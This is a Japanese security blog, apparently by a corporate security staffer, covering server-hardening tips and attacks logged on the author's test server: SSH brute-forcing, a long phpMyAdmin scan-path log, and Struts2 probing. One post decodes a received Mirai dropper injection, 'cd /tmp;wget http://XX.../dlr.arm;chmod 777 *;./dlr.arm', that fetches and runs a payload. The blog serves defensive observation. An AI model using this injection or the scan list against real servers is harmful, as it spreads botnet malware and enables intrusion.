fragiler’s Security blog

某企業でセキュリティ担当しています。まだまだ勉強中の身ですが、遊びがてら発見したセキュリティ関連のことがらを呟こうと思います。

Webサイトの構築(これくらいはやってて欲しいOS設定編)

どこの企業も一般の方々向けのWebサイトを立ち上げるのは当たり前の時代です。

Webサイト立ち上げのツールや、安い料金でサイトを立ち上げてくれるサイト構築ベンダなど、いまや簡単にサイトの構築ができます。

 

でもセキュリティ担当やっていると一抹の不安も…

 「ちゃんとセキュリティ対策してもらえているのかだろうか…」

 

ということで「最低限これくらいやっててくれていればいいのではないか?」と思う対策をまとめてみました。

 

まず基本的なOS部分について…

ファイアウォールでインターネット側に開放するポートを適切に設定する

ただの商品紹介したいだけなら、とりあえず80番ポートだけ開放でいいと思うんです。SSHでリモートからメンテナンスしたいなら、追加で22番ポートも開ければいいと思うんです。

「何も通信できない状態」から「必要なポートを開放していく」という考え方にしたほうがよいと思うんです。よく分からないから「何も設定しない(=全ポート開放状態)」はマズイんです…

 

②管理者用ログインアカウントの設定を不正アクセスされにくいもににする

「root」とか「admin」とか「user」とか「test」とか、ある程度誰でも想像できるアカウントは使わないほういいです。何せリスト化されてますから…

またパスワードも同様で「password」とか「qwerty」とか「password1!」とか使わないほうがいいと思うんです。きっとリスト化されてますから。

 

③root権限アカウントの直接ログインを禁止する

上記②で『「root」は使わないほうがよい』と書いておりますが、作業時には「root」が必要な時もあると思います。なので、「root」などはログインアカウントとして使えなくし、別アカウントでログインした後「su」コマンドで利用できるようにしたほうがよいです。

これは万が一「root権限で不正ログインされる」=「サーバーを一発で乗っ取られる」ということを防ぐため

 

SSHでリモート接続が必要な場合は、IPアドレスの接続元制限を行う

SSHはほぼ毎日のように不正アクセスする人たちがドアをノックする感覚でログインしようとしてきます。なので、SSHで接続できる接続元IPをファイアウォールで制限かけるべきと思います。

 

⑤日々の運用でログイン履歴を確認する

毎日1回とか定期的にOSへのログイン記録を見る習慣があったほうが良いと思います。Webサイトであれば、メンテナンスでもしない限りOSへのログインは発生しないはず。予期せぬ時間帯のログインや、メンテナンスでもないのにログインされたりしていないか?などなど。

 

他にもいろいろと対策はあるし、強化すべきポイントもあると思います。

ただ自分でWebサーバを立ち上げて日々観察してるなかでは、最低限上記くらいやっておけばお遊びで不正ログインしようとする輩からサーバを守れるのでは?と思いました。

 

ということでOS設定についてはここまで。そのうちWebサーバー系の部分の書こうと思います。

sshに対する不正アクセス

前回から少し間が開いてしまいましたが、その間sshに対する大量のログイン試行がありました。

 

41時間かけて10分間隔でダラダラとログインを試していたようです。

以下がログイン試行に使われたアカウント達です。

f:id:fragiler:20170423223810p:plain

admin的なものもあればOS名もあればCMS名もあれば、testとかbotとかgitとかいろんなものを混ぜ合わせたリストですね。

 

なお、このログインが試された実験サーバは特定のアカウント以外はsshログインできないようにしており、証明書による認証も行っているので全く問題なし。

 

ただsshのポート番号を22から変更しているのですが、見つけた途端これだけのアカウントでログインを試すということは、sshのポートを探し出して見つけたらログインを試みるようなものがいるのでしょうね。

 

ちなみにsshポート番号を22のままにしておいた時は、毎日のようにログイン試行がありました。ポート番号を変えると少しはリスク低減になるのかもしれません。

 

phpMyAdminのスキャン

初めてこのログを見たときは少しびっくりしました。

40秒ほどのあいだに以下のログが記録されてて「ヤバい!なんかされてる!」と焦ってしまいましたが、ネットで調べてみるとたくさん報告されてますね。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
GET /scripts/setup.php HTTP/1.1
GET /admin/scripts/setup.php HTTP/1.1
GET /admin/pma/scripts/setup.php HTTP/1.1
GET /admin/phpmyadmin/scripts/setup.php HTTP/1.1
GET /db/scripts/setup.php HTTP/1.1
GET /dbadmin/scripts/setup.php HTTP/1.1
GET /myadmin/scripts/setup.php HTTP/1.1
GET /mysql/scripts/setup.php HTTP/1.1
GET /mysqladmin/scripts/setup.php HTTP/1.1
GET /typo3/phpmyadmin/scripts/setup.php HTTP/1.1
GET /phpadmin/scripts/setup.php HTTP/1.1
GET /pma/scripts/setup.php HTTP/1.1
GET /web/phpMyAdmin/scripts/setup.php HTTP/1.1
GET /xampp/phpmyadmin/scripts/setup.php HTTP/1.1
GET /web/scripts/setup.php HTTP/1.1
GET /php-my-admin/scripts/setup.php HTTP/1.1
GET /websql/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2/scripts/setup.php HTTP/1.1
GET /_phpmyadmin/scripts/setup.php HTTP/1.1
GET /administrator/components/com_joommyadmin/phpmyadmin/scripts/setup.php HTTP/1.1
GET /apache-default/phpmyadmin/scripts/setup.php HTTP/1.1
GET /blog/phpmyadmin/scripts/setup.php HTTP/1.1
GET /cpanelphpmyadmin/scripts/setup.php HTTP/1.1
GET /cpphpmyadmin/scripts/setup.php HTTP/1.1
GET /forum/phpmyadmin/scripts/setup.php HTTP/1.1
GET /php/phpmyadmin/scripts/setup.php HTTP/1.1
GET /phpmyadmin/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.1-pl2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.1-pl3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.4-pl3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.4-pl4/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.4-rc1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.5/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.6/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.9/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-beta1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-pl1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-pl2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-rc1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.5/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.6/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.7/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.2.3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.4/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.5/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.6/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.7/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.8/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.9/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0-rc1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.0-rc1-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.1.0-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.1.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.1.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.2.0-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.4.3.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.0.0-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.1.0-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.2.0-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.0.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.2.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin3/scripts/setup.php HTTP/1.1

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

これはphpMyAdmin脆弱性を狙う攻撃のスキャン行為とのこと。
先日のStrutsと同様、phpMyAdmin入れてないから関係ない…

 ネット上の過去の情報と比べるとVerの数字(「phpMyAdmin-3.1.2.0」とか)あたりの種類が増えてました。スキャンツールもどんどん更新されてるんでしょうね。

これらと同様のスキャンですが、3月中に計5回のスキャンが来ていました。
User-Agentを見ると

の2種類がありました。

Mozilla/5.0 Jorgee」は計4つのIPから来ているので、よく使われるツールなのか、このツールを使っている攻撃者がいろんなところのサーバを乗っ取っているのか…。

User-Agentを見てアクセス拒否することも可能なようなので、それで避けることもできそうです。
それ以外にも「標準設定のパスやファイル名使わない」とか、「コンソールへのアクセスをIPで制限する」とかできるようです。

根本的にはさっさとバージョンアップ…(システムの稼働などに問題なければ)

Mirai-BotnetのDropperを落とそうとするアクセス

Struts2攻撃と思われるものに交じって、こんなのが来てました。

 「GET /shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%68%74%74%70%3A%2F
%2F%XX%XX%2E%XX%XX%XX%2E%XX%XX%XX%2E%XX%XX%3A%35%34%33
%32%31%2F%64%6C%72%2E%61%72%6D%3B%63%68%6D%6F%64%20%37%37
%37%20%2A%3B%2E%2F%64%6C%72%2E%61%72%6D HTTP/1.1」

 

文字列を調べてみたところ「URLデコード」という処理ができそうと分かったので、デコードしてみると…

cd /tmp;wget http://XX.XXX.XXX.XX:54321/dlr.arm;chmod 777 *;./dlr.arm

IPアドレス部分は伏字にしております)

 

何か外部からとってくる命令っぽかったので、wgetで「dlr.arm」とやらを取ってきてみました。

 

マルウェアかなぁと思い、とりあえずFileコマンドで調べると

[tmp]$ file dlr.arm
dlr.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

何かの実行ファイルっぽい。

 

さすがに実行はヤバそうなのでエディタで開いてみたら…

f:id:fragiler:20170327235737p:plain

Mirai???

GET部分を見てみると、Mirai.armとあるので、Mirai関連の実行ファイルでも落としてくるものなんですかね。

 

と、悶々としていたところ、某セキュリティ調査機関のメルマガでまったく同じものがレポートとして配信されていました。やっぱりwgetで手に入れたマルウェアはMiraiのDropperだったようです。

 

そのレポートによると、このアクセスは北アメリカと日本のサーバーを狙った攻撃キャンペーンで、コマンドインジェクションでDropperダウンロードさせて実行・感染⇒Mirai本体ダウンロードして感染⇒Botnet参加となるようです。

ただし感染には「BusyBox」とやらを導入している必要があるらしい。(←これまた良く分からないので、本日はこれまで…)

 

 

本日のstruts2探索状況

本日朝も以下のような探索ログが残っていました。

f:id:fragiler:20170327225036p:plain

始めから終わりまで10秒間かけて順番に該当するものがあるか試してるみたいです。

Strutsってデフォルトこういうディレクトリ構成なの???(私は知見がないためわからないです)

ちなみに発信元はドイツですねぇ。

過去のログに残っている発信元はチェコとかベネズエラとか中国なので、いろいろなところから探索が来てるようです。

ちなみにちなみに、User-Agentはどこから来ても以下1種類。

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36」

こういうのが設定されてるツールでも出回ってるんですかねぇ。

Apache Struts2で脆弱性(S2-045)のあるWebサイトの探索?

3/23以降、今話題のApache Struts2脆弱性(S2-045)を狙っているのかもしれないアクセスが急に来ていました。

f:id:fragiler:20170326012551p:plain

Struts2を利用していると「.aciton」がURLに付くというのをWeb上で見ましたので、上記は今回の脆弱性を狙う攻撃につながるアクセスなのかなぁと。

①②③⑥⑧あたりはIPを変えながら10件以上アクセスされてました。

それぞれデフォルトで使われるようなPATHなんですかねぇ。

だとしたらこれらのPATHが使われているWebサイトは対策を行っていないと不正アクセス許しちゃったり、改ざんとかされちゃうんでしょうねぇ。どれだけあるんだろう…。

 (私が立ち上げているサイトはStrutsを入れてない(そもそもスキルがない)ので、全部404で終了してます。)

 

今回の脆弱性を利用する攻撃はリクエストのヘッダー部にコードが仕込まれるということなので、これ以上分からないです。

HoneyPotを構築できればもっと詳しいことわかるんだろうけど。

はじめに・・・

某企業のセキュリティ担当者です。

日々社内や関連会社から相談受けたり、会社のルール作ったり、ウィルス感染が見つかれば端末没収(?)する仕事をしております。

とは言っても、まだまだ分からないことがたくさんあり、仕事に追われながら少しでも理解しようとネットや本で勉強をしています。

その勉強のひとつとして「生の情報を見てみよう!」と思い、インターネット上にサーバを立てて、そこにどんなアクセスが来るかを見てみようと思いました。

このブログはそんな担当者が日々見つけた「不審なアクセス」や「日々感じること」を気ままにアップするゆる~いブログにしたいと思います。

なので、更新も不定期のつもりです。さて、いつまで続けられることやら。。。